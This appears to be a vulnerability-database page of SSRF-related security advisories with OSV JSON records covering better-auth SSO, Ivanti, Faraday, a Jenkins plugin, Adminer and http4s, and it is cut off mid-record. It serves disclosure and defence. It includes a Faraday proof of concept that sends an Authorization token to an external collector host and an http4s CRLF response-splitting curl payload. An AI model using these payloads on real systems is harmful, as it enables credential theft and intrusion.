CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6271 vulnerabilities reference this CWE, most recent first.
GHSA-5RR4-8452-HF4V
Vulnerability from github – Published: 2026-07-07 20:56 – Updated: 2026-07-20 19:24Am I affected?
Users are affected if all of the following are true:
- Their application uses
@better-auth/ssoat a version>= 0.1.0, < 1.6.11on the stable line, or any1.7.0-beta.xon the pre-release line. - The
sso()plugin is added to their application'sbetterAuth({ plugins: [...] })array. - Any user with a valid Better Auth session can reach
POST /sso/register(the plugin's default gate accepts any session).
For the non-blind SSRF impact (full IAM credential or internal HTTP body exfiltration), no further configuration is required.
For the account takeover escalation, additionally:
- Developers set
sso({ trustEmailVerified: true, ... }). - The developer's application deployment has accounts whose
emailoverlaps with attacker-chosen domains.
If developers do not enable the SSO plugin, their application is not affected.
Fix:
- Upgrade to
@better-auth/sso@1.6.11or later. - If developers cannot upgrade, see workarounds below.
Summary
The @better-auth/sso plugin's POST /sso/register endpoint accepts attacker-controlled oidcConfig.userInfoEndpoint, tokenEndpoint, and jwksEndpoint URLs when skipDiscovery: true is set, persists them on the ssoProvider row without origin validation, then issues server-side fetches to those URLs during the OIDC callback. The fetched response body is reflected through the user profile, producing a non-blind SSRF reachable by any authenticated session. The same primitive exists on POST /sso/update-provider.
Details
The schema field types accept bare strings: no .url() validator, no origin gate. The discovery branch (skipDiscovery: false) routes URLs through validateDiscoveryUrl; the skip-discovery branch persists them as-is. At callback time three fetch sites read the stored URLs: validateAuthorizationCode for the token endpoint, betterFetch for the userInfo endpoint, and validateToken for the JWKS endpoint.
When trustEmailVerified: true is configured, the attacker can escalate to account linking. A malicious userInfo response with emailVerified: true and a chosen email triggers OAuth auto-link against any pre-existing user row with that email, compounding the SSRF into account takeover.
Patches
Fixed in @better-auth/sso@1.6.11. Provider registration (POST /sso/register with skipDiscovery: true) and every POST /sso/update-provider request now validate each supplied OIDC endpoint URL (authorizationEndpoint, tokenEndpoint, userInfoEndpoint, jwksEndpoint, discoveryEndpoint) at registration time. A URL is rejected unless it satisfies one of two conditions:
- Its host is publicly routable on the internet, evaluated through the
@better-auth/core/utils/host.isPublicRoutableHostgate. RFC 1918 private ranges, RFC 4193 unique-local addresses, link-local addresses (including the cloud-metadata IP169.254.169.254), loopback, multicast, broadcast, and reserved ranges are rejected, along with cloud-metadata FQDNs. - Its origin is already listed in the application's
trustedOriginsconfiguration. This preserves the documented escape hatch for customers running internal IdPs intentionally on private networks.
The schema also tightens from z.string() to z.url() on those fields, so malformed URLs fail at parse time rather than at fetch time. Deployments running internal IdPs that previously worked must add the IdP's origin to trustedOrigins to keep working after upgrade.
Workarounds
If developers cannot upgrade immediately:
- Disable provider self-registration: set
sso({ providersLimit: 0 }). The limit is enforced before the schema branch, blocking every/sso/registerregardless ofskipDiscovery. - Reverse-proxy gate: block
POST /sso/registerandPOST /sso/update-providerat the edge, or restrict to a denylist of source IPs and a small admin user list. - Network-level egress controls: block egress from the auth server to RFC 1918, RFC 4193, link-local ranges (
169.254.0.0/16,fe80::/10), and the cloud-metadata FQDN list at the firewall or VPC level. AWS users should additionally enforce IMDSv2 (HttpTokens: required). - Set
trustEmailVerified: falseuntil upgrade. This caps the impact at non-blind SSRF and removes the account-takeover escalation, but does not stop the SSRF.
Impact
- Server-Side Request Forgery (non-blind): the attacker reads response bodies from any HTTP endpoint reachable from the auth server, including cloud metadata services (AWS IMDS, GCP metadata FQDN), internal-only APIs, and infrastructure services such as Redis or admin panels bound to localhost.
- Account takeover (when
trustEmailVerified: true): the attacker mints a malicious userInfo response assertingemailVerified: truefor an arbitrary email, triggering OAuth auto-link against pre-existing user rows.
Credit
Reported by Vaadata.
Resources
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@better-auth/sso"
},
"ranges": [
{
"events": [
{
"introduced": "0.1.0"
},
{
"fixed": "1.6.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53513"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-345",
"CWE-441",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-07T20:56:19Z",
"nvd_published_at": "2026-07-15T18:16:47Z",
"severity": "CRITICAL"
},
"details": "### Am I affected?\n\nUsers are affected if all of the following are true:\n\n- Their application uses `@better-auth/sso` at a version `\u003e= 0.1.0, \u003c 1.6.11` on the stable line, or any `1.7.0-beta.x` on the pre-release line.\n- The `sso()` plugin is added to their application\u0027s `betterAuth({ plugins: [...] })` array.\n- Any user with a valid Better Auth session can reach `POST /sso/register` (the plugin\u0027s default gate accepts any session).\n\nFor the non-blind SSRF impact (full IAM credential or internal HTTP body exfiltration), no further configuration is required.\n\nFor the account takeover escalation, additionally:\n\n- Developers set `sso({ trustEmailVerified: true, ... })`.\n- The developer\u0027s application deployment has accounts whose `email` overlaps with attacker-chosen domains.\n\nIf developers do not enable the SSO plugin, their application is not affected.\n\nFix:\n\n1. Upgrade to `@better-auth/sso@1.6.11` or later.\n2. If developers cannot upgrade, see workarounds below.\n\n### Summary\n\nThe `@better-auth/sso` plugin\u0027s `POST /sso/register` endpoint accepts attacker-controlled `oidcConfig.userInfoEndpoint`, `tokenEndpoint`, and `jwksEndpoint` URLs when `skipDiscovery: true` is set, persists them on the `ssoProvider` row without origin validation, then issues server-side fetches to those URLs during the OIDC callback. The fetched response body is reflected through the user profile, producing a non-blind SSRF reachable by any authenticated session. The same primitive exists on `POST /sso/update-provider`.\n\n### Details\n\nThe schema field types accept bare strings: no `.url()` validator, no origin gate. The discovery branch (`skipDiscovery: false`) routes URLs through `validateDiscoveryUrl`; the skip-discovery branch persists them as-is. At callback time three fetch sites read the stored URLs: `validateAuthorizationCode` for the token endpoint, `betterFetch` for the userInfo endpoint, and `validateToken` for the JWKS endpoint.\n\nWhen `trustEmailVerified: true` is configured, the attacker can escalate to account linking. A malicious userInfo response with `emailVerified: true` and a chosen `email` triggers OAuth auto-link against any pre-existing user row with that email, compounding the SSRF into account takeover.\n\n### Patches\n\nFixed in `@better-auth/sso@1.6.11`. Provider registration (`POST /sso/register` with `skipDiscovery: true`) and every `POST /sso/update-provider` request now validate each supplied OIDC endpoint URL (`authorizationEndpoint`, `tokenEndpoint`, `userInfoEndpoint`, `jwksEndpoint`, `discoveryEndpoint`) at registration time. A URL is rejected unless it satisfies one of two conditions:\n\n1. Its host is publicly routable on the internet, evaluated through the `@better-auth/core/utils/host.isPublicRoutableHost` gate. RFC 1918 private ranges, RFC 4193 unique-local addresses, link-local addresses (including the cloud-metadata IP `169.254.169.254`), loopback, multicast, broadcast, and reserved ranges are rejected, along with cloud-metadata FQDNs.\n2. Its origin is already listed in the application\u0027s `trustedOrigins` configuration. This preserves the documented escape hatch for customers running internal IdPs intentionally on private networks.\n\nThe schema also tightens from `z.string()` to `z.url()` on those fields, so malformed URLs fail at parse time rather than at fetch time. Deployments running internal IdPs that previously worked must add the IdP\u0027s origin to `trustedOrigins` to keep working after upgrade.\n\n### Workarounds\n\nIf developers cannot upgrade immediately:\n\n- **Disable provider self-registration**: set `sso({ providersLimit: 0 })`. The limit is enforced before the schema branch, blocking every `/sso/register` regardless of `skipDiscovery`.\n- **Reverse-proxy gate**: block `POST /sso/register` and `POST /sso/update-provider` at the edge, or restrict to a denylist of source IPs and a small admin user list.\n- **Network-level egress controls**: block egress from the auth server to RFC 1918, RFC 4193, link-local ranges (`169.254.0.0/16`, `fe80::/10`), and the cloud-metadata FQDN list at the firewall or VPC level. AWS users should additionally enforce IMDSv2 (`HttpTokens: required`).\n- **Set `trustEmailVerified: false`** until upgrade. This caps the impact at non-blind SSRF and removes the account-takeover escalation, but does not stop the SSRF.\n\n### Impact\n\n- **Server-Side Request Forgery (non-blind)**: the attacker reads response bodies from any HTTP endpoint reachable from the auth server, including cloud metadata services (AWS IMDS, GCP metadata FQDN), internal-only APIs, and infrastructure services such as Redis or admin panels bound to localhost.\n- **Account takeover** (when `trustEmailVerified: true`): the attacker mints a malicious userInfo response asserting `emailVerified: true` for an arbitrary email, triggering OAuth auto-link against pre-existing user rows.\n\n### Credit\n\nReported by Vaadata.\n\n### Resources\n\n- [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-441: Unintended Proxy or Intermediary](https://cwe.mitre.org/data/definitions/441.html)\n- [CWE-345: Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html)",
"id": "GHSA-5rr4-8452-hf4v",
"modified": "2026-07-20T19:24:38Z",
"published": "2026-07-07T20:56:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/better-auth/better-auth/security/advisories/GHSA-5rr4-8452-hf4v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53513"
},
{
"type": "WEB",
"url": "https://github.com/better-auth/better-auth/pull/9574"
},
{
"type": "WEB",
"url": "https://github.com/better-auth/better-auth/commit/37f60cb176cb53147da7dfd5ec15afa5b486e81e"
},
{
"type": "PACKAGE",
"url": "https://github.com/better-auth/better-auth"
},
{
"type": "WEB",
"url": "https://github.com/better-auth/better-auth/releases/tag/v1.6.11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "@better-auth/sso provider registration has server-side request forgery via unvalidated OIDC endpoints"
}
GHSA-5RR9-MQHJ-7CR2
Vulnerability from github – Published: 2024-01-31 18:31 – Updated: 2025-10-22 00:32A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.
{
"affected": [],
"aliases": [
"CVE-2024-21893"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-31T18:15:47Z",
"severity": "HIGH"
},
"details": "A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.",
"id": "GHSA-5rr9-mqhj-7cr2",
"modified": "2025-10-22T00:32:59Z",
"published": "2024-01-31T18:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21893"
},
{
"type": "WEB",
"url": "https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-21893"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5RV5-XJ5J-3484
Vulnerability from github – Published: 2026-05-18 14:51 – Updated: 2026-06-05 14:12Summary
Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.
Affected Component
- Repository File(s)/Endpoint(s):
lib/faraday/connection.rblib/faraday/request.rbspec/faraday/connection_spec.rbspec/faraday/request_spec.rb- Function(s):
Faraday::Connection#build_exclusive_urlFaraday::Connection#run_requestFaraday::Request#urlFaraday::Request#to_env- Version(s) Tested:
Faraday 2.14.1- repository HEAD
a01039c948d3e9e41e03d152aed7244f0fb4d5ca
Attacker Profile
- Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
- Access Required: Ability to supply data that the application converts to
URI.parse(...)and passes toconn.get(...),[conn.post](http://conn.post/)(...), orreq.url(...) - Capability: Control over a protocol-relative URI such as
URI("//evil.example/pwn")
Steps to Reproduce
- Use the current repository checkout and load Faraday from
lib/. - Build a fixed-base connection and provide a protocol-relative
URIobject toreq.url. - Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
- Observe that the connection-scoped
Authorizationheader remains attached to the off-host request.
Verification Evidence
- Environment: macOS, Ruby from local environment, Faraday
2.14.1,faraday-net_http, local WEBrick listener on127.0.0.1:4567, HEADa01039c948d3e9e41e03d152aed7244f0fb4d5ca - Commands executed:
$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'
- PoC code (inline):
require "faraday"
require "faraday/net_http"
conn = Faraday.new(url: "http://trusted.example/base", headers: {
"Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }
target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))
puts resp.status
puts resp.body
- Exit code:
0 - stdout (relevant excerpt):
200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn
- stderr (relevant excerpt):
N/A
- Artifacts: none
Additional External Confirmation
The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:
require "faraday"
require "faraday/net_http"
conn = Faraday.new(
url: "http://trusted.example/base",
headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }
target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"
This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.
Supporting Materials
- Existing advisory for the original string-based issue:
GHSA-33mh-2634-fwr2 - Existing CVE for the original string-based issue:
CVE-2026-25765 - Existing regression tests for the string-only fix:
spec/faraday/connection_spec.rb:314-345- Existing test proving supported
URIrequest input: spec/faraday/request_spec.rb:26-31
Impact
The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.14.1"
},
"package": {
"ecosystem": "RubyGems",
"name": "faraday"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.14.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33637"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T14:51:51Z",
"nvd_published_at": "2026-05-19T19:16:49Z",
"severity": "LOW"
},
"details": "## Summary\n\n`Faraday::Connection#build_exclusive_url` still allows protocol-relative host override when the request target is provided as a `URI` object instead of a `String`. This bypasses the February 2026 fix for `GHSA-33mh-2634-fwr2` and can redirect a request built from a fixed-base `Faraday::Connection` to an attacker-controlled host while preserving connection-scoped headers such as `Authorization`.\n\n## Affected Component\n\n- **Repository File(s)/Endpoint(s)**:\n - `lib/faraday/connection.rb`\n - `lib/faraday/request.rb`\n - `spec/faraday/connection_spec.rb`\n - `spec/faraday/request_spec.rb`\n- **Function(s)**:\n - `Faraday::Connection#build_exclusive_url`\n - `Faraday::Connection#run_request`\n - `Faraday::Request#url`\n - `Faraday::Request#to_env`\n- **Version(s) Tested**:\n - `Faraday 2.14.1`\n - repository HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca`\n\n## Attacker Profile\n\n- **Who**: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection\n- **Access Required**: Ability to supply data that the application converts to `URI.parse(...)` and passes to `conn.get(...)`, `[conn.post](http://conn.post/)(...)`, or `req.url(...)`\n- **Capability**: Control over a protocol-relative URI such as `URI(\"//evil.example/pwn\")`\n\n## Steps to Reproduce\n\n1. Use the current repository checkout and load Faraday from `lib/`.\n2. Build a fixed-base connection and provide a protocol-relative `URI` object to `req.url`.\n3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.\n4. Observe that the connection-scoped `Authorization` header remains attached to the off-host request.\n\n### Verification Evidence\n\n- **Environment**: macOS, Ruby from local environment, Faraday `2.14.1`, `faraday-net_http`, local WEBrick listener on `127.0.0.1:4567`, HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca`\n- **Commands executed**:\n\n```bash\n$ ruby -e \u0027require \"webrick\"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: \"127.0.0.1\", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc(\"/\") { |req, res| res.status = 200; res.body = \"host=#{req.host}\\nauth=#{req[\"Authorization\"]}\\npath=#{req.path}\\n\" }; trap(\"INT\") { server.shutdown }; server.start\u0027\n$ ruby -Ilib -e \u0027require \"faraday\"; require \"faraday/net_http\"; conn = Faraday.new(url: \"http://trusted.example/base\", headers: {\"Authorization\" =\u003e \"Bearer secret-token\"}) { |f| f.adapter :net_http }; target = [\"//127.0.0.1:4567\", \"/pwn\"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body\u0027\n```\n- **PoC code** (inline):\n\n```ruby\nrequire \"faraday\"\nrequire \"faraday/net_http\"\n\nconn = Faraday.new(url: \"http://trusted.example/base\", headers: {\n \"Authorization\" =\u003e \"Bearer secret-token\"\n}) { |f| f.adapter :net_http }\n\ntarget = [\"//127.0.0.1:4567\", \"/pwn\"].join\nresp = conn.get(URI(target))\n\nputs resp.status\nputs resp.body\n```\n- **Exit code**: `0`\n- **stdout** (relevant excerpt):\n\n```text\n200\nhost=127.0.0.1\nauth=Bearer secret-token\npath=/pwn\n```\n- **stderr** (relevant excerpt):\n\n```text\nN/A\n```\n- **Artifacts**: none\n\n### Additional External Confirmation\n\nThe issue was also independently reproduced against a public HTTP collector on Faraday `2.14.1` using the default `net_http` adapter:\n\n```ruby\nrequire \"faraday\"\nrequire \"faraday/net_http\"\n\nconn = Faraday.new(\n url: \"http://trusted.example/base\",\n headers: { \"Authorization\" =\u003e \"Bearer secret-token\" }\n) { |f| f.adapter :net_http }\n\ntarget = [\"//webhook.site\", \"/\u003ccollector-id\u003e\"].join\nresp = conn.get(URI(target))\nresp.status\n# =\u003e 200\nresp.url.host\n# =\u003e \"webhook.site\"\n```\n\nThis external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.\n\n## Supporting Materials\n\n- Existing advisory for the original string-based issue: `GHSA-33mh-2634-fwr2`\n- Existing CVE for the original string-based issue: `CVE-2026-25765`\n- Existing regression tests for the string-only fix:\n - `spec/faraday/connection_spec.rb:314-345`\n- Existing test proving supported `URI` request input:\n - `spec/faraday/request_spec.rb:26-31`\n\n## Impact\n\nThe direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the\nconnection carries default headers or query parameters, those values are forwarded to the attacker-selected host.",
"id": "GHSA-5rv5-xj5j-3484",
"modified": "2026-06-05T14:12:03Z",
"published": "2026-05-18T14:51:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/security/advisories/GHSA-5rv5-xj5j-3484"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33637"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-33mh-2634-fwr2"
},
{
"type": "PACKAGE",
"url": "https://github.com/lostisland/faraday"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-33637.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping"
}
GHSA-5V2J-W677-J4MP
Vulnerability from github – Published: 2022-05-13 01:31 – Updated: 2024-01-30 22:26A server-side request forgery vulnerability exists in Jenkins OctopusDeploy Plugin 1.8.1 and earlier in OctopusDeployPlugin.java that allows attackers with Overall/Read permission to have Jenkins connect to an attacker-specified URL and obtain the HTTP response code if successful, and exception error message otherwise.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.8.1"
},
"package": {
"ecosystem": "Maven",
"name": "hudson.plugins.octopusdeploy:octopusdeploy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-1003027"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-30T22:26:51Z",
"nvd_published_at": "2019-02-20T21:29:00Z",
"severity": "MODERATE"
},
"details": "A server-side request forgery vulnerability exists in Jenkins OctopusDeploy Plugin 1.8.1 and earlier in OctopusDeployPlugin.java that allows attackers with Overall/Read permission to have Jenkins connect to an attacker-specified URL and obtain the HTTP response code if successful, and exception error message otherwise.",
"id": "GHSA-5v2j-w677-j4mp",
"modified": "2024-01-30T22:26:51Z",
"published": "2022-05-13T01:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1003027"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2019-02-19/#SECURITY-817"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/107295"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SSRF vulnerability due to missing permission check in Jenkins OctopusDeploy Plugin "
}
GHSA-5V92-397Q-W6Q6
Vulnerability from github – Published: 2026-08-25 03:32 – Updated: 2026-08-25 03:32Adminer before 5.5.0 contains a server-side request forgery vulnerability in the login form's server field validator, which only inspects leading integers for privileged ports and fails to reject non-numeric port values. Attackers can inject PDO DSN keys like host= and port= into the server parameter to bypass the privileged-port restriction and establish TCP connections to arbitrary internal hosts and ports before authentication.
{
"affected": [],
"aliases": [
"CVE-2026-34964"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-25T02:16:40Z",
"severity": "MODERATE"
},
"details": "Adminer before 5.5.0 contains a server-side request forgery vulnerability in the login form\u0027s server field validator, which only inspects leading integers for privileged ports and fails to reject non-numeric port values. Attackers can inject PDO DSN keys like host= and port= into the server parameter to bypass the privileged-port restriction and establish TCP connections to arbitrary internal hosts and ports before authentication.",
"id": "GHSA-5v92-397q-w6q6",
"modified": "2026-08-25T03:32:08Z",
"published": "2026-08-25T03:32:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vrana/adminer/security/advisories/GHSA-58cq-mgw2-38m5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34964"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/adminer-before-ssrf-via-pdo-dsn-injection"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5VCM-3XC3-W7X3
Vulnerability from github – Published: 2021-09-22 19:18 – Updated: 2025-12-11 21:12Impact
http4s is vulnerable to response-splitting or request-splitting attacks when untrusted user input is used to create any of the following fields:
- Header names (
Header.nameå - Header values (
Header.value) - Status reason phrases (
Status.reason) - URI paths (
Uri.Path) - URI authority registered names (
URI.RegName) (through 0.21)
The following backends render invalid carriage return, newline, or null characters in an unsafe fashion.
| blaze-server | ember-server | blaze-client | ember-client | jetty-client | |
|---|---|---|---|---|---|
| header names | ⚠ | ⚠ | ⚠ | ⚠ | ⚠ |
| header values | ⚠ | ⚠ | ⚠ | ⚠ | |
| status reasons | ⚠ | ⚠ | |||
| URI paths | ⚠ | ⚠ | |||
| URI regnames | ⚠ < 0.22 | ⚠ < 0.22 |
For example, given the following service:
import cats.effect._
import org.http4s._
import org.http4s.dsl.io._
import org.http4s.server.blaze.BlazeServerBuilder
import scala.concurrent.ExecutionContext.global
object ResponseSplit extends IOApp {
override def run(args: List[String]): IO[ExitCode] =
BlazeServerBuilder[IO](global)
.bindHttp(8080)
.withHttpApp(httpApp)
.resource
.use(_ => IO.never)
val httpApp: HttpApp[IO] =
HttpApp[IO] { req =>
req.params.get("author") match {
case Some(author) =>
Ok("The real content")
.map(_.putHeaders(Header("Set-Cookie", s"author=${author}")))
case None =>
BadRequest("No author parameter")
}
}
}
A clean author parameter returns a clean response:
curl -i 'http://localhost:8080/?author=Ross'
HTTP/1.1 200 OK
Content-Type: text/plain; charset=UTF-8
Set-Cookie: author=Ross
Date: Mon, 20 Sep 2021 04:12:10 GMT
Content-Length: 16
The real content
A malicious author parameter allows a user-agent to hijack the response from our server and return different content:
curl -i 'http://localhost:8080/?author=hax0r%0d%0aContent-Length:+13%0d%0a%0aI+hacked+you'
HTTP/1.1 200 OK
Content-Type: text/plain; charset=UTF-8
Set-Cookie: author=hax0r
Content-Length: 13
I hacked you
Patches
Versions 0.21.29, 0.22.5, 0.23.4, and 1.0.0-M27 perform the following:
- If a status reasoon phrase is invalid, it is dropped. Rendering is optional per spec.
- If a header name is invalid in a request or response, the header is dropped. There is no way to generically sanitize a header without potentially shadowing a correct one.
- If a header value is invalid in a request or response, it is sanitized by replacing null (
\u0000), carriage return (\r), and newline (\n) with space () characters per spec. - If a URI path or registered name is invalid in a request line, the client raises an
IllegalArgumentException. - If a URI registered name is invalid in a host header, the client raises an
IllegalArgumentException.
Workarounds
http4s services and client applications should sanitize any user input in the aforementioned fields before returning a request or response to the backend. The carriage return, newline, and null characters are the most threatening.
Not all backends were affected: jetty-server, tomcat-server, armeria, and netty on the server; async-http-client, okhttp-client, armeria, and netty as clients.
References
- https://owasp.org/www-community/attacks/HTTP_Response_Splitting
- https://httpwg.org/http-core/draft-ietf-httpbis-semantics-latest.html#fields.values
For more information
If you have any questions or comments about this advisory: * Open an issue in GitHub * Contact us via the http4s security policy
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.21.28"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-client_2.12"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.21.29"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.22.4"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-client_2.12"
},
"ranges": [
{
"events": [
{
"introduced": "0.22.0"
},
{
"fixed": "0.22.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.23.3"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-client_2.12"
},
"ranges": [
{
"events": [
{
"introduced": "0.23.0"
},
{
"fixed": "0.23.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.21.28"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-client_2.13"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.21.29"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.22.4"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-client_2.13"
},
"ranges": [
{
"events": [
{
"introduced": "0.22.0"
},
{
"fixed": "0.22.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.23.3"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-client_2.13"
},
"ranges": [
{
"events": [
{
"introduced": "0.23.0"
},
{
"fixed": "0.23.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.21.28"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-client_3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.21.29"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.22.4"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-client_3"
},
"ranges": [
{
"events": [
{
"introduced": "0.22.0"
},
{
"fixed": "0.22.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.23.3"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-client_3"
},
"ranges": [
{
"events": [
{
"introduced": "0.23.0"
},
{
"fixed": "0.23.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
